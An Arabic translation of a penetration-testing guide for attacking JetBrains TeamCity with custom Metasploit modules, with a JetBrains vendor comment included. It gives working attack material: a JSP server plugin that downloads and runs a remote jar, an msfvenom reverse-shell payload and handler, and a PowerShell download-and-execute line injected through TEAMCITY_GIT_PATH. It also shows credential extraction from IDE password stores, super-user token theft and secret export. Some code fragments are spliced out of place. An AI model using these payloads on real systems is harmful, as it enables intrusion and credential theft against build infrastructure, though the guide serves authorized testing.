
اختبار اختراق TeamCity باستخدام Metasploit
ملخص: الحصول على كلمات المرور من JetBrains IDE (مثل IntelliJ أو PyCharm) واستخدام تلك البيانات داخل خادم TeamCity للتكامل المستمر للحصول على جلسة meterpreter على الخادم ووكلاء البناء باستخدام metasploit بواسطة Kacper Szurek.




هذا تعليق من البائع (فريق TeamCity من JetBrains) بواسطة Yegor Yarko:
OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` سيسمح هذا بتحميل وتنفيذ Meterpreter. الملف `.jar` المجمّع موجود [هنا](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip).معظم محتوى المقال يصف كيف يمكن للمستخدمين الخبيثين إساءة استخدام TeamCity إذا تم منحهم الصلاحيات بشكل شرعي. على سبيل المثال، يمكن للمستخدم الذي لديه دور مسؤول النظام (يمنح السيطرة الكاملة على الخادم) تثبيت إضافة خبيثة لـ TeamCity أو الحصول على رمز مميز للوصول "المستخدم الفائق" إلى الخادم. أيضًا، يمكن لمن لديه دور مسؤول المشروع تشغيل كود عشوائي على الوكيل أو استرداد كلمات مرور الوصول إلى المستودعات المكونة. هذا السلوك هو جزء من الوظائف التي يوفرها TeamCity كمنتج. هذه الاعتبارات موصوفة في من توثيق TeamCity.
المشكلات الموصوفة تشير إلى مدى خطورة تزويد جهة خبيثة بصلاحيات عالية. يجب على مسؤولي خادم TeamCity مراجعة أذونات المستخدمين بانتظام لتجنب منح أي صلاحيات للمستخدمين الخبيثين المحتملين قد يساء استخدامها؛ ومراجعة صلاحيات المستخدم الضيف، إذا كانت مفعلة. نقطة أخرى هي عدم ترك المحطات الطرفية دون مراقبة أثناء تسجيل الدخول في أي مكان بصلاحيات غير تافهة.
مع ذلك، تم ذكر ثغرتين أمنيتين فعليتين في المقال: الأولى تتعلق بنشر قطعة بناء خبيثة وجعل مسؤول يعرضها في المتصفح، والثانية هي تصعيد صلاحية تشغيل بناء مخصص إلى تنفيذ كود عشوائي على وكيل TeamCity. للأخيرة تأثيرات طفيفة فقط على معظم تثبيتات TeamCity حيث أن من لديهم هذه الصلاحية غالبًا ما لديهم بالفعل القدرة على تنفيذ أي كود على الوكيل.
ومع ذلك، سنقوم بمعالجة هذه المخاوف في أحد إصدارات TeamCity القادمة، ونشكركم على لفت انتباهنا إليها.
لنفترض أنك تقوم باختبار اختراق داخل شركة برمجيات تستخدم مجموعة أدوات Jetbrains. أنت تستخدم metasploit وتحصل على جلسة meterpreter على جهاز المطور.
ماذا يمكنك أن تفعل بعد ذلك؟ هناك مقال واحد حول اختبار اختراق TeamCity بواسطة Nikhil SamratAshok Mittal من عام 2015.
في هذا المنشور، أجمع عدة تقنيات من ملاحظات الأمان وBugTrack وأضعها في وحدة Metasploit.
ملاحظة: أنا لا أستخدم أي ثغرات 0-day هنا. لكل إجراء، تحتاج إلى بيانات اعتماد صالحة لـ TeamCity. انظر تعليق JetBrains.
أنا لست مسؤولاً عن أي ضرر ناتج عن هذا السكريبت. لسلامة البيانات، استخدم set CLEANUP false.
تم الاختبار على TeamCity 2017.2.1 (build 50732).
لفك تشفير قاعدة بيانات KeePass، نحتاج إلى مكتبة Ruby kdbx.
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle installالآن يمكنك:
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb و serverplugin.zip إلى ~/.msf4/modules/exploitsjetbrains.rb إلى ~/.msf4/modules/postmsfconsolereload_allيمكن دمج TeamCity بسهولة مع جميع JetBrains IDE باستخدام إضافة.

إذا تم استخدام خيار تذكرني، يتم تخزين كلمات المرور باستخدام IntelliJ Platform Credentials Store API. يمكنك العثور على الكود المصدري هنا.
إجراء فك التشفير على ويندوز يبدو كالتالي:

pdb.pw باستخدام Windows CryptUnprotectData. هذا يعني أنه فقط المستخدم الذي قام بتشفير البيانات يمكنه فك تشفيرها.c.kdbx باستخدام كلمة المرور الرئيسية من النقطة 2.0xDFAAبشكل افتراضي، كلمة المرور الرئيسية عشوائية. يمكن تغييرها داخل الخيارات:

لكن هذا لا يغير شيئًا.
هذا يعني فقط أن قاعدة بيانات KeePass c.kdbx سيتم تشفيرها باستخدام كلمة مرور مختلفة. لا يزال بإمكان المستخدم المحلي الحصول بسهولة على هذه الكلمة من ملف pdb.pw.
لنفترض أن لديك جلسة Meterpreter صالحة مع `#1```` use post/jetbrains set SESSION 1 exploit
يبدو الإخراج كما يلي:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed
لديك الآن بيانات اعتماد TeamCity من وحدة JetBrains metasploit. بناءً على دور المستخدم الحالي، يمكنك:
| شل على الخادم | شل على وكلاء البناء | مستخدم فائق | بيانات اعتماد محفوظة | |
|---|---|---|---|---|
| مدير | ✔️ | ✔️ | ✔️ | ✔️ لجميع المشاريع |
| مستخدم مسجل الدخول | ❌ | ✖️ فقط على وكلاء Windows | ❌ | ❌ |
| مستخدم ضيف | ❌ | ❌ | ❌ | ❌ |
| شل على الخادم | شل على وكلاء البناء | مستخدم فائق | بيانات اعتماد محفوظة | |
|---|---|---|---|---|
| مسؤول النظام | ✔️ | ✔️ | ✔️ | ✔️ لجميع المشاريع |
| مسؤول المشروع | ❌ | ✔️ | ❌ | ✔️ |
| مطور المشروع | ❌ | ✖️ فقط على وكلاء Windows | ❌ | ❌ |
| مشاهِد المشروع | ❌ | ❌ | ❌ | ❌ |
يرجى ملاحظة أن وحدة metasploit لا تدعم الأدوار المخصصة.
يمكن توسيع TeamCity بسهولة باستخدام الإضافات.

باستخدام هذه الوظيفة، يمكن إنشاء إضافة ضارة تقوم بتشغيل جلسة meterpreter.
Hello.jsp ضع: ```java
<%@ page import="java.io.File" %>Server Administration->Diagnostics->Browse Data Directory وارفَع المكون الإضافي إلى مجلد plugins. (http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)
Server Administration->Diagnostics->Troubleshooting->Restart server (http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)
.jar باستخدام http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jarإن وكيل بناء TeamCity هو قطعة برمجية تستمع للأوامر من خادم TeamCity وتبدأ عمليات البناء الفعلية. يتم تثبيته وتكوينه بشكل منفصل عن خادم TeamCity. يمكن تثبيت الوكيل على نفس جهاز الخادم أو على جهاز مختلف.
يبدو الاستغلال بهذا الشكل:

بكلمات بسيطة: نقوم بتوليد Meterpreter لجافا والذي يتم استضافته على خادم git. ثم ننشئ تكوين بناء يقوم بتحميل Meterpreter الخاص بنا من خادم git وتشغيله على الوكلاء باستخدام سطر الأوامر.
1. توليد حمولة Meterpreter: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar
2. استضف meterpreter.jar على خادم Git (على سبيل المثال باستخدام https://gogs.io/)
3. إذا كان لديك صلاحيات مسؤول النظام يمكنك إنشاء مشروع جديد (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu). إذا كنت مطور مشروع فستحتاج إلى تعديل المشروع الذي لديك وصول إليه.

4. أضف جذر VCS إلى مشروعك باستخدام البيانات من النقطة 2

5. أنشئ تكوين بناء جديد

6. أضف خطوة بناء إلى تكوين البناء

| المفتاح | القيمة |
|---|---|
| نوع المشغل | سطر الأوامر |
| تنفيذ الخطوة | دائمًا، حتى لو صدر أمر إيقاف البناء |
| تشغيل | ملف قابل للتنفيذ مع وسائط |
| الملف التنفيذي للأمر | %teamcity.agent.jvm.java.home%/bin/java |
| وسائط الأمر | -jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar |
7. تجهيز معالج metasploit المتعدد: ``` use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lport 4444 set lhost 192.168.1.11 exploit
8. تشغيل بناء مخصص شخصي على جميع العوامل المتوافقة

## شل على عوامل بناء Windows
بشكل افتراضي، لا يستطيع `Project Developer` تعديل/إنشاء خطوات البناء.
لذلك ليس من الممكن إضافة وتنفيذ سطر الأوامر الخبيث الخاص بنا.
يمكننا محاولة تجاوز ذلك على Windows باستخدام [متغيرات البيئة المخصصة ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). كيف؟
يدعم Teamcity [التحقق من git على العامل](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).
قبل تنفيذ خطوة البناء، يقوم العامل بتنزيل أحدث البيانات من خادم git:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}
يتحقق الوكيل من وجود متغير البيئة TEAMCITY_GIT_PATH. إذا كان موجودًا، يُستخدم كمسار لملف git الثنائي.
في مشروع TeamCity، يمكن للمطور تشغيل بناء لديه صلاحية الوصول إليه وتحديد متغيرات بيئة مخصصة.
لذا نقوم بتعيين env.TEAMCITY_GIT_PATH إلى:```
"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

في سجلات البناء، يبدو هذا كالتالي:```
[2018-01-30 20:54:55,342] INFO - jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"
[2018-01-30 20:54:55,343] INFO - jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718] WARN - jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+ ~~~~~~~
+ CategoryInfo : ObjectNotFound: (version:String) [], CommandNotF
oundException
+ FullyQualifiedErrorId : CommandNotFoundException
يحتوي TeamCity على ما يُعرف بـ حساب المستخدم المتميز. يتيح لك الوصول إلى واجهة الخادم بصلاحيات مسؤول النظام إذا كنت لا تتذكر بيانات الاعتماد أو تحتاج إلى إصلاح الإعدادات المتعلقة بالمصادقة.
إذا كانت لديك صلاحيات System Administrator، فانتقل إلى Server Administration->Diagnostics->Server logs->teamcity-server.log وابحث عن السلسلة النصية Super user authentication token (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):```
[2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.
يمكنك الآن تسجيل الدخول باستخدام: `http://teamcity/login.html?super=1`
## البيانات المحفوظة
يخزن TeamCity أشياء مثل `كلمات مرور جذر VCS` أو `معلمات كلمة المرور` أو `مفاتيح SSH` في شكل مشفر ولا يظهر محتوياتها على الواجهة الإلكترونية أو واجهة API.
ولكن يمكن تجاوز ذلك باستخدام وظيفة `export`. انتقل إلى **مشروعك->تصدير الإعدادات->تصدير**

تبدو هذه الملفات كما يلي:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
<name>exploiter</name>
<parameters />
<project-extensions>
<extension id="PROJECT_EXT_2" type="OAuthProvider">
<parameters>
<param name="displayName" value="Docker Registry" />
<param name="providerType" value="Docker" />
<param name="repositoryUrl" value="https://docker.io" />
<param name="secure:userPass" value="zxxyour_encrypted_passwords" />
<param name="userName" value="my_user_name" />
</parameters>
</extension>
</project-extensions>
<cleanup />
</project>
تبدأ السلاسل المشفرة بـ zxx ويتم ترميزها باستخدام DES بمفتاح ثابت.
كما نقرأ في متعقب الأخطاء في TeamCity #TW-27206: يمكن للبيانات الضارة في نتائج البناء أن تبدأ هجوم XSS.
حاليًا، يتم عرض جميع ملفات .html (وبعض الملفات الأخرى) من نتائج البناء في المتصفح عند النقر عليها.
لقد أنشأت مقتطف كود صغير يحاول إنشاء حساب مسؤول جديد.
كيف قد يبدو هذا الهجوم؟ نحاول إقناع المسؤول بزيارة قطعتنا الأثرية الخبيثة المتوفرة في عنوان URL مثل هذا http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html.

يتيح لك TeamCity تشغيل تسجيل دخول الضيف الذي يسمح بالوصول المجهول لواجهة مستخدم TeamCity على الويب.
يمكن لمسؤول الخادم تمكين تسجيل دخول الضيف في صفحة الإدارة | المصادقة.
يمكنك استخدام هذا للحصول على نتائج البناء.
الاستخدام الأساسي:``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit
تبدو المخرجات هكذا:
خيارات إضافية:
| الاسم | الوصف |
|:---:|:---:|
|PROJECT_ID|تحديد معرف المشروع، افتراضيًا سيُنشئ مشروعًا عشوائيًا جديدًا|
|BUILD_TYPE_ID|تحديد معرف نوع البناء، افتراضيًا سيُنشئ نوع بناء عشوائيًا جديدًا|
|VCS_ID|تحديد معرف VCS، افتراضيًا سيُنشئ VCS عشوائيًا جديدًا|
|CLEANUP|حذف المشروع/البناء/Jذر VCS الذي تم إنشاؤه|
|SERVER_PLUGIN|المسار إلى [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)|
|GIT_PATH|المسار إلى دليل GIT|
# استكشاف الأخطاء وإصلاحها
1. لا أستطيع تحميل وحدات Metasploit
تحقق مرة أخرى من نسخ `teamcity.rb` إلى دليل `~/.msf4/modules/exploits` و `jetbrains.rb` إلى دليل `~/.msf4/modules/post`.
يتطلب Metasploit أن تكون وحدات الاستغلال داخل دليل `exploits` ووحدات ما بعد الاستغلال داخل دليل `post`.
2. تحذير! لا يمكن تحميل الوحدات التالية! LoadError لا يمكن تحميل ملف -- kdbx
هل قمت بتثبيت [وحدة kdbx](#installation)؟ إذا كانت الإجابة بنعم، اخرج من Metasploit وشغّلها مرة أخرى. استخدم الأمر `reload_all`.
3. لا أستطيع الحصول على كلمات المرور من IDE المثبت على Mac/Linux
حاليًا يتم دعم Windows فقط. آسف.
4. فشلت المهمة اللاحقة: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: فشلت العملية: 1
ربما تستخدم java meterpreter. لا يحتوي على بعض واجهات برمجة التطبيقات المهمة. انتقل إلى `windows/meterpreter/reverse_tcp` وحاول مرة أخرى.
5. التشغيل كـ SYSTEM، لا يمكن فك تشفير البيانات
لأن كلمات المرور مشفرة باستخدام واجهة برمجة التطبيقات `CryptUnprotectData`، تحتاج وظيفة فك التشفير إلى التشغيل في سياق حساب المستخدم العادي.
6. لا أحصل على [شل على الخادم](#shell-on-server)
شغّل الاستغلال مرة ثانية.
7. `teamcit.rb` لا يعمل حتى لو كان المستخدم الحالي لديه صلاحيات كافية
لا تدعم هذه الوحدة الأدوار المخصصة.
8. لا يمكن العثور على git داخل %path%. يرجى تغيير GIT_PATH
نحتاج إلى ثنائي `git` و `git-upload-pack` لإعداد خادم Git الذي سيستضيف meterpreter الخاص بنا. أستخدم الفكرة من [هنا](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html).
```
set GIT_PATH /your/path/to/git/dir
```
9. لا يمكن تسجيل الدخول كـ `username:password`
تحقق من بيانات الاعتماد:
set USERNAME your_user_name
set PASSWORD your_password
10. لا يمكن العثور على البرنامج المساعد للخادم: %path%. يرجى تعديل SERVER_PLUGIN
حدد مكان تخزين [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)
set SERVER_PLUGIN /your/path/to/serverplugin.zip
11. [-] فشل الاستغلال: Rex::RuntimeError المورد المقدم تمت إضافته بالفعل.
قم بإنهاء المهام الخلفية باستخدام `jobs -K`
12. يرجى ربط LHOST بعنوان IP محدد، وليس بـ 0.0.0.0
اربط بعنوان IP محدد، على سبيل المثال: ```
use LHOST 192.168.1.123
ليس لديك أذونات للمشروع المحدد. انظر إلى أي مشروع لديك حق الوصول إليه، أي: ``` You can modify only following projects: ["test", "second"]
ثم حدد project id: ```
set PROJECT_ID test
java/meterpreter/reverse_tcp؟لأنه محمول. لا تتردد في تعديل دالة is_payload_compatible?.
تفعيل التصحيح:
set HttpTrace 1
set LogLevel 3